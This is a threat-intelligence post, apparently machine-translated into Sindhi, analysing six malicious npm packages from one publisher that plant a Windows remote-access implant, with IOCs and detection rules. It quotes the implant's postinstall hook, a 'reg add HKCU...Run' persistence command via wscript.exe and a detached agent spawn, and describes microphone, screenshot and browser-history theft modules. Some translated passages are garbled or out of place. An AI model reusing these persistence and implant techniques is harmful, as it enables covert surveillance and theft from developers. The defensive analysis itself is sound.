TL، ڊاڪٽر
1 اپريل ۽ 3 مئي 2026 جي وچ ۾، هڪ اين پي ايم پبلشر، user0001، غير تصديق ٿيل جي ميل ايڊريس سان رجسٽر ٿيل tanvisoul9@gmail.com، خاموشي سان ڇهن پيڪيجز کي جان بوجھ ڪري بيڪار، انفراسٽرڪچر جي آواز وارن نالن سان اڳتي وڌايو: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtime، ۽ node-env-resolve.
جا تازا ٻه نسخا node-env-resolve، 1.0.7 ۽ 1.0.8، کي 2 مئي تي زائيگيني جي مالويئر ارلي وارننگ (MEW) سسٽم پاران نشان لڳايو ويو ۽ 3 مئي تي نقصانڪار جي تصديق ڪئي وئي.
هي امپلانٽ غير معمولي آهي جيڪو اهو ناهي: ٽيليگرام بوٽس نه آهن، نه OAST ڪال بيڪ، نه ڇڪتاڻ، ۽ انسٽاليشن وقت AWS سندون حاصل ڪرڻ جي ڪا به ڪوشش ناهي. ان جي بدران، postinstall.js هڪ ونڊوز بوٽ-پرسسٽنس انٽري پلانٽ ڪري ٿو، هڪ HKCU رن ڪي استعمال ڪندي جيڪا لانچ ٿئي ٿي wscript.exe هڪ VBS اسٽب جي خلاف. پوءِ اهو هڪ الڳ ٿيل Node.js ايجنٽ پيدا ڪري ٿو جيڪو مائڪروفون ڪيپچر، برائوزر-هسٽري چوري، اسڪرين شاٽنگ، ۽ ماؤس/ڪي بورڊ سموليشن لاءِ ماڊلز کي بنڊل ڪري ٿو.
اسين هن ڪلسٽر کي سڏي رهيا آهيون ڊيو ٽيپ، ڪٽ کان پوءِ اهو ڊولپر جي مشين تي هلندو رهي ٿو.
لکڻ جي وقت سڀئي ڇهه پيڪيجز npm تي لائيو هئا. اسان انهن کي رجسٽري جي بدسلوڪي چينل تي جمع ڪرايو آهي. ڊفينڊرز کي پبلشر کان ڪنهن به انسٽال کي هٽائڻ تائين ڪڍڻ گهرجي.
ڪلسٽر: ڇهه پيڪيجز، هڪ پبلشر
پبلشر اڪائونٽ user0001 غير تصديق ٿيل آهي. ان ۾ ڪو به ناهي SCM تصديق، ڪو به ڊومين سان ڳنڍيل اي ميل، ۽ ڪا به اڳوڻي تاريخ نه. جي ميل هينڊل tanvisoul9 ڪنهن ٻئي npm پبلشر رڪارڊ ۾ نظر نٿو اچي جيڪو اسان ڳولي سگهون ٿا.
سڀئي ڇهه پيڪيجز ساڳئي سنڀاليندڙ جي فهرست ڏين ٿا، ساڳئي اڪائونٽ مان شايع ڪيا ويا آهن، ۽ ساڳيا شيئر ڪن ٿا package.json بوائلر پليٽ. ڪو به ناهي repository، نه homepage، ۽ نه description هڪ لڪير کان وڌيڪ ڊگهو.
نالي جي حڪمت عملي دلچسپ حصو آهي. هڪ ڪلاسيڪل انحصار-مونجهارو يا ٽائيپوسڪوٽ مهم جي برعڪس، انهن مان ڪو به نالو ڪنهن مخصوص اپ اسٽريم لائبريري کي نشانو نه بڻائيندو آهي. ان جي بدران، انهن کي هڪ حقيقي ۾ غائب ٿيڻ لاءِ ڪيليبريٽ ڪيو ويندو آهي. package.json or npm ls پيداوار.
| پئڪيج | پهريون شايع ٿيل | جديد نسخو | ورژن | ڪلسٽر ۾ ڪردار |
|---|---|---|---|---|
| سينٽرالوگر | 2026-04-01 12:46 UTC | 1.0.9 | 5، 1.0.5 کان 1.0.9 تائين | ڪلسٽر جو "لاگنگ يوٽيلٽي" ڪَوَر؛ سڀ کان پهرين اشاعت |
| ڊوم-يوٽيلز-لائيٽ | 2026-04-14 07:36 UTC | 1.0.3 | 3 | عام DOM-مددگار ڪَوَر |
| نوڊ-فيچ-لائيٽ | 2026-04-19 10:22 UTC | 1.0.2 | 3 | مِمِڪس نوڊ-فيچ فيملي |
| ڪنيڪٽر ايجنٽ | 2026-04-25 05:12 UTC | 1.0.0 | 1 | عام نالو "ايجنٽ" |
| نوڊ-جپ-رن ٽائم | 2026-04-25 05:17 UTC | 1.0.0 | 1 | مِمِڪس نيٽيو-ماڊيول بلڊ ٽولنگ |
| نوڊ-اين وي-ريزولوو | 2026-04-25 05:21 UTC | 1.0.9 | 10، 1.0.0 کان 1.0.9 تائين | فعال ڊراپر؛ مڪمل امپلانٽ |
نالا جهڙوڪ centralogger, node-fetch-lite، ۽ node-gyp-runtime ڪوڊ جي جائزي ۾ غير متنازع نظر اچڻ لاءِ ٺهيل آهن. اهي اهڙين شين وانگر لڳن ٿا جيڪي اڳ ۾ ئي ڪنهن منصوبي جي انحصار واري وڻ ۾ هونديون.
هڪ تازي، غير تصديق ٿيل پبلشر ۽ گم ٿيل ريپوزٽري لنڪس سان گڏ، اهي هڪ سڃاڻپ وارو نمونو ٺاهيندا آهن: هڪ اداڪار رجسٽري ۾ گهٽ رگڙ وارا نالا سيڊ ڪندو آهي، پوءِ جلدي ان تي ورجائيندو آهي جيڪو اهم آهي. هن صورت ۾، node-env-resolve اٺن ڏينهن ۾ ڏهه نسخا مليا.
ونڊوز ڊولپمينٽ باڪس تي ڇا لينڊ ڪندو آهي
خراب زنجير تي node-env-resolve:1.0.8 npm RAT لاءِ مختصر، سڌو، ۽ غير معمولي طور تي خصوصيت سان مالا مال آهي.
پوسٽ انسٽال: استقامت ۽ الڳ ٿيل ايجنٽ
package.json هڪ واحد انسٽال ٿلهو اعلان ڪري ٿو:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js ٽي ڪم ترتيب سان ڪري ٿو.
پهرين، اهو npm وڻ کان ٻاهر هڪ انسٽاليشن ڊاريڪٽري کي اسٽيج ڪري ٿو. رستو اسڪرپٽ ۾ رن ٽائم تي حساب ڪيو ويندو آهي جيئن INSTALL_DIR. پوءِ اهو هڪ اندروني هلائي ٿو execSync('npm install --production --silent ...') ان جي اندر امپلانٽ جي رن ٽائم انحصار کي ڇڪڻ لاءِ. هي ايجنٽ کي ڊسڪ تي ڪٿي دستي طور تي رکي ٿو node_modules آڊٽ نه ملندو.
ٻيو، اهو هڪ VBS لانچر لکي ٿو ۽ ان کي بوٽ پرسسٽنس لاءِ رجسٽر ڪري ٿو:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe ونڊوز اسڪرپٽ هوسٽ آهي، هڪ دستخط ٿيل مائڪروسافٽ بائنري جيڪو هلندو آهي .vbs ڪنسول ونڊو کان سواءِ فائلون. اهو اڳ آهيcisاهو ئي سبب آهي جو اهو آٽو رن اسٽبس لاءِ پسند ڪيو ويندو آهي.
هڪ مطابقت پڻ آهي reg delete اندر رستو src/index.js، اهو مشورو ڏئي ٿو ته امپلانٽ کي آپريٽر جي حڪم تي صاف طور تي هٽائڻ لاءِ ٺاهيو ويو آهي.
ٽيون، اهو هڪ الڳ ٿيل ٻار جي عمل کي جنم ڏئي ٿو:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })هتي ٻه تفصيل اهم آهن.
SERVER_URL ماحول مان پڙهيو ويندو آهي. نتيجي طور، C2 اينڊ پوائنٽ هر ڊيپلائيمينٽ لاءِ ترتيب ڏيڻ لائق آهي ۽ پيڪيج ۾ پڪل نه آهي. اهو ننڍڙو پر جان بوجھ ڪري پسند اڪثر جامد-IOC سوئيپس کي شڪست ڏئي ٿو.
انهي سان گڏ، پيدا ٿيندڙ ٻار کي مڪمل والدين جي ماحول جو وارث ملندو آهي. تنهن ڪري، ڪو به NPM_TOKEN, AWS_*, GITHUB_TOKEN، يا انسٽاليشن وقت ڊولپر شيل ۾ موجود SSH-ايجنٽ ساکٽ ڊگهي عرصي واري ايجنٽ جي ياداشت ۾ سفر ڪري ٿو.
ايجنٽ ڇا موڪليندو آهي
بنڊل ٿيل src/ وڻ ۾ ٽي ماڊيول شامل آهن جن جا نالا ئي ڪهاڻي ٻڌائين ٿا: audioCapture.js, browserHistory.js، ۽ systemInfo.js.
رن ٽائم انحصار جي فهرست، اسٽيج ٿيل دوران حل ڪئي وئي npm install، انهن جي تصديق ڪري ٿو.
هي طريقو هڪ افراتفري واري واقعي کي ڪنٽرول ٿيل جواب ۾ تبديل ڪري ٿو.
انڌو ٿي رد عمل ڏيڻ بدران، ٽيمون ڪم ڪن ٿيون واضح ترجيح ۽ تيز علاج.
| ڏن ڀرو | هن حوالي سان اهو ڇا لاءِ آهي |
|---|---|
| ڊيسڪ ٽاپ جو اسڪرين شاٽ | وقتي اسڪرين ڪيپچر |
| @نٽ-ٽري-فورڪ/نٽ-جي ايس | مائوس ۽ ڪي بورڊ آٽوميشن / ان پٽ سموليشن |
| بهتر-sqlite3 | ڪروم، ايج، ۽ فائر فاڪس هسٽري SQLite ڊيٽابيس جو سڌو سنئون مطالعو |
| ايڊ ايم-زپ | بنڊلنگ ڪڍڻ کان اڳ نوادرات گڏ ڪيا |
| تيز | اسڪرين شاٽس ۽ تصويري نوادرات کي ري سائيز ڪرڻ / دٻائڻ |
| ساکٽ.يو-ڪلائنٽ | مسلسل ٻطرفو C2 چينل |
| نوڊ-مشين-آءِ ڊي | متاثرين جي ٽريڪنگ لاءِ مستحڪم في هوسٽ فنگر پرنٽ |
systemInfo.js ڪال os.networkInterfaces() پهرين بيڪن کان اڳ اضافي فنگر پرنٽنگ لاءِ.
آڊيو ڪيپچر هڪ بهترين سگنل ڇو آهي؟
گھڻا npm RATs جيڪي اسان MEW ۾ ٽرائي ڪندا آهيون، انسٽاليشن جي وقت جي ڳجهي چوري تي روڪيندا آهن. اهي پڙهندا آهن ~/.npmrcپڙهو ~/.aws/credentials، ڇڪڻ process.env، ويب هُڪ تي پوسٽ ڪريو، ۽ ٻاهر نڪرو. اهو هڪ ٽوڙي ۽ پڪڙڻ واري معاشي ماڊل ۾ مناسب آهي. سندن جي اڌ زندگي مختصر هوندي آهي، ۽ حملي آور کي جلدي پئسا ڪمائڻ جي ضرورت هوندي آهي.
node-env-resolve شڪل ۾ مختلف آهي.
استقامت ريبوٽ کان بچڻ لاءِ قائم ڪئي وئي آهي. ايجنٽ الڳ ۽ ڊگهي عرصي تائين هلندو آهي wscript.exe. جيڪو ڪِٽ ان ۾ آهي اهو ڊولپر جي مشين تي هجڻ لاءِ آهي، نه ته پڪڙڻ ۽ ڇڏڻ لاءِ: هڪ مائڪروفون رڪارڊر، هڪ ڪي بورڊ/ماؤس ڊرائيور، مڪمل برائوزر-هسٽري انجيسٽ، اسڪرين ڪيپچر، ۽ هڪ انٽرايڪٽو Socket.IO چينل هڪ ترتيب ڏيڻ واري C2 ڏانهن واپس.
خاص طور تي مائڪروفون ڪيپچر اها حد آهي جيڪا هي مهم پار ڪري ٿي جيڪا گهڻا اين پي ايم مالويئر نه ٿا ڪن.
هڪ ڊولپر ورڪ اسٽيشن، وڌندڙ طور تي، اهو ورڪ اسٽيشن پڻ آهي جتي ڊولپر اسٽينڊ اپ، گراهڪ ڪال، ڊيزائن بحث، ۽ آن ڪال پل وٺندا آهن. هڪ امپلانٽ جيڪو مائڪروفون رڪارڊ ڪري ٿو اهو اصل ۾ ڊولپر جي اين پي ايم ٽوڪن کان پوءِ ناهي. اهو ان کان پوءِ آهي جيڪو ڊولپر ليپ ٽاپ جي سامهون چوي ٿو.
اهو صلاحيت سيٽ، گڏوگڏ ابهام جي کوٽ ۽ ڪنهن به چمڪندڙ انسٽال-ٽائيم ايڪسفلٽريشن جي غير موجودگي، موقعي پرست سند جي چوري جي بدران ٽارگيٽ رسائي لاءِ پري پوزيشننگ جي طور تي پڙهي ٿو.
اسان صرف هن مان انتساب جو دعويٰ نٿا ڪريون. اسان آپريشنل پروفائل کي نوٽ ڪري رهيا آهيون.

اٺ ڏينهن جي ورهاڱي جي ڪيڊنس تي node-env-resolve ٽائم لائن ۾ سڀ کان وڌيڪ عملي طور تي بيان ڪندڙ تفصيل آهي.
هي باهه ۽ وسارڻ وارو ڊراپ ناهي. پبلشر فعال طور تي ڊراپر کي برقرار رکي رهيو آهي، جنهن جو مطلب عام طور تي ٻن شين مان هڪ آهي. يا ته اهي ان کي وسيع تر تعیناتي کان اڳ ٽيسٽ ماحول جي خلاف ترتيب ڏئي رهيا آهن، يا انهن وٽ اڳ ۾ ئي انسٽال ٿيل ٽيلي ميٽري واپس اچي رهي آهي ۽ ان جو جواب ڏئي رهيا آهن.
ٻين پنجن پيڪيجز ۾ انهن جي شروعاتي اشاعت کان پوءِ ڪو به اثر نه پيو. اهو سپورٽنگ ڪلسٽر لاءِ "هڪ ڀيرو اسٽيج، نالي سان ڇڏي ڏيو" نموني سان ٺهڪي اچي ٿو جڏهن ته انجنيئرنگ جي ڪوشش ان پيڪيج تي ڌيان ڏئي ٿي جيڪو ڪم ڪري ٿو.
منسوب: ننڍا اشارا، ڪو به پڪو فيصلو نه
پبلڪ OSINT سگنل پتلا آهن، ۽ اسان انهن کي نه وڌائينداسين. ڇا مشاهدو ڪري سگهجي ٿو:
جي ميل هينڊل tanvisoul9 جزوي طور تي ڏکڻ ايشيائي ڏنل نالو، "تنوي" سان مشابهت رکي ٿو. هي هڪ ڪمزور سگنل آهي. جي ميل هينڊلز سڃاڻپ نه آهن، ۽ پوئين soul9 عام آهي. صرف اي ميل جي مقامي حصي مان جاگرافيائي اندازو لڳائڻ محفوظ ناهي.
ڪوڊ جو انداز غير معمولي آهي Node.js: standard لائبريري ڪالون جهڙوڪ os, child_process, spawn، ۽ reg add. ڪو به ابهام ناهي، ڪو اسٽرنگ روٽيشن ناهي، ۽ ڪو به اينٽي ڊيبگ منطق ناهي. ليکڪ ونڊوز رجسٽري پرائميٽوز ۽ ڊيٽيچڊ-چائلڊ-پروسيس آرڪيسٽريشن سان مطمئن آهي، پر اهو ظاهر نٿو ٿئي ته هو اسٽيلٿيئر ٽريڊ ڪرافٽ تائين پهچي رهيو آهي جيڪو اهي ممڪن طور تي استعمال ڪري رهيا هوندا.
انحصار مڪمل طور تي شيلف کان ٻاهر آهن ۽ مشهور آهن: screenshot-desktop, nut-js, better-sqlite3، ۽ socket.io-client. ڪو به ڪسٽم پروٽوڪول ناهي، ڪو به شروع کان رولڊ ٿيل C2 اسٽيڪ ناهي، ۽ درسي ڪتاب کان ٻاهر ڪا به نئين پرسسٽنس ٽرڪ ناهي. HKCU رن ڪي. هي هڪ قابل انٽيگريٽر آهي، نه ته ڪو اوزار ليکڪ.
اسان کي شايع ٿيل نوادرات اندر غير انگريزي اسٽرنگ، ايمبيڊڊ تبصرا، مقامي ڊيٽا، يا ڪمپائلر-آئوٽ پُٽ ٽائم زون فنگر پرنٽس نه مليا.
اسان اڳئين مهمن سان ڪوڊ اوورليپ جي جانچ ڪئي جيڪي اسان اڳ ۾ ئي ٽريڪ ڪريون ٿا، بشمول شائي حلود, اوليويئن، بلڊ ڪائيٽ، ۽ تازو هيبائي / claude-code-best اينٿروپڪ-سي ايل آءِ ڪلون فيملي. اسان کي ڪو به نه مليو: ڪو به شيئر ٿيل سي 2 پيٽرن، ڪو به شيئر ٿيل فائل لي آئوٽ، ۽ ڪو به شيئر ٿيل محاورو نه.
اسان ڇا نه چونداسين: ته هي هڪ رياستي اداڪار آهي، هڪ سڃاتل گروپ آهي، يا جاگرافيائي طور تي ڪنهن مخصوص ملڪ سان ڳنڍيل آهي.
آپريشنل پروفائل هڪ ننڍڙي، معتدل مهارت واري ٽيم سان مطابقت رکي ٿي جيڪا ڊولپر-ورڪ اسٽيشن جي نگراني ڪري رهي آهي. اهو ممڪن طور تي رسائي جي ڊائون اسٽريم استعمال ذريعي مالي طور تي حوصلا افزائي ڪئي وئي آهي، پر ممڪن طور تي هڪ الڳ خريد ڪندڙ لاءِ خدمت جي طور تي جاسوسي پڻ.
ٻہ اڻ سڌيون نقطا حمايت ڪن ٿا جيڪي پڙھن ٿا: ڌيان ڇڪائيندڙ ايڪسفلٽريشن ميڪينڪس کان بچڻ جيڪي ڪلسٽر کي تيزيءَ سان ساڙيندا، جهڙوڪ ٽيليگرام بوٽس، oastify.com، يا ڪينري ٽوڪن، ۽ جان بوجھ ڪري بيڪار پيڪيج جا نالا، جيڪي مختصر هاءِ-ووليوم اسپائڪ تي خاموش ڊگهي-دم تنصيب کي ترجيح ڏين ٿا.
سمجهوتو ۽ ڳولا جا اشارا
| پيڪيجز ۽ پبلشر | |
|---|---|
| جو ميدان | قدر |
| اين پي ايم پبلشر | صارف0001 |
| پبلشر جو اي ميل | tanvisoul9@gmail.com، غير تصديق ٿيل |
| پيڪيجز | سينٽرالوگر، ڊوم-يوٽيلز-لائيٽ، نوڊ-فيچ-لائيٽ، ڪنيڪٽر-ايجنٽ، نوڊ-جپ-رن ٽائم، نوڊ-اين وي-ريزولوو |
| تصديق ٿيل خرابي | نوڊ-اين وي-ريزولوو @ 1.0.7، نوڊ-اين وي-ريزولوو @ 1.0.8 |
| ميزبان نوادرات | |
|---|---|
| قسم | قدر |
| مستقل مزاجي جي ڪنجي | HKCU\سافٽ ويئر\مائڪروسوفٽ\ونڊوز\ڪرنٽ ورزن\رن |
| مستقل مزاجي جو قدر | متغير نالو؛ wscript.exe فارم جو ڊيٽا " \\ .vbs" |
| ٿلهو لڳايو | پوسٽ انسٽال: پيڪيج مينيفيسٽ ۾ نوڊ پوسٽ انسٽال.js |
| امپلانٽ ماڊلز | src/audioCapture.js، src/browserHistory.js، src/systemInfo.js |
| اسٽيجنگ ڊاريڪٽري | INSTALL_DIR پروجيڪٽ جي node_modules کان ٻاهر حل ڪيو ويو؛ انسٽاليشن وقت postinstall.js پاران مقرر ڪيل جڳهه |
| نيٽ ورڪ | |
|---|---|
| قسم | قدر |
| سي 2 ٽرانسپورٽ | socket.io-client، مسلسل ٻطرفو چينل |
| سي 2 اينڊ پوائنٽ | ايجنٽ کي SERVER_URL ماحولي متغير ذريعي مهيا ڪيو ويو؛ شايع ٿيل شين ۾ سخت ڪوڊ ٿيل نه آهي |
ڳولا جا نوٽس
ٻہ قاعدا هن خاندان کي C2 اينڊ پوائنٽ جي ضرورت کان سواءِ پڪڙين ٿا.
پهرين، پوسٽ انسٽال اسڪرپٽ کي نشان لڳايو جيڪي اندروني ڪم ڪن ٿا npm install پيڪيج جي پنهنجي ڊاريڪٽري کان ٻاهر هڪ رستي ۾. ڪو به جائز پري بلڊ ڊائون لوڊ ڪندڙ، جهڙوڪ node-gyp ٻيهر تعمير يا اڳ ۾ ٺهيل بائنري ڊائون لوڊ ڪندڙ، پيڪيج اندر يا پليٽ فارم ۾ لکن ٿا-standard تصديق ٿيل هيش سان ڪيش رستا. اهو تازو ٺهيل ۾ نه ٿو لکجي INSTALL_DIR ڊسڪ تي ٻئي هنڌ.
ٻيو، پوسٽ انسٽال اسڪرپٽ کي نشان لڳايو جيڪي جاري ڪن ٿا reg add HKCU\…\Run سان wscript.exe لانچر جي طور تي. هي بنيادي طور تي ڪڏهن به npm پيڪيج مان جائز ناهي. ان کي نشان لڳايو ۽ قرنطين ڪريو.
هڪ ٽيون هيورسٽڪ ايندڙ ڀاءُ جي پيڪيج جي تصديق ٿيڻ کان اڳ ان کي ڏسڻ لاءِ ڪارآمد آهي: هڪ تازو اين پي ايم پبلشر جنهن سان ڪو به نه SCM تصديق، هڪ جي ميل اي ميل، نه repository فيلڊ، ۽ هڪ ٻئي جي ڏينهن اندر شايع ٿيل ڪيترائي مختصر، عام، انفراسٽرڪچر-آواز وارا پيڪيج نالا، پاڻ ۾، دستي جائزي جي ضمانت ڏيڻ لاءِ ڪافي آهن.
اين پي ايم رجسٽري کي رپورٽ ڪئي وئي. جڏهن پبلشر اڪائونٽ هٽايو ويندو ته اسان هن پوسٽ کي اپڊيٽ ڪنداسين.






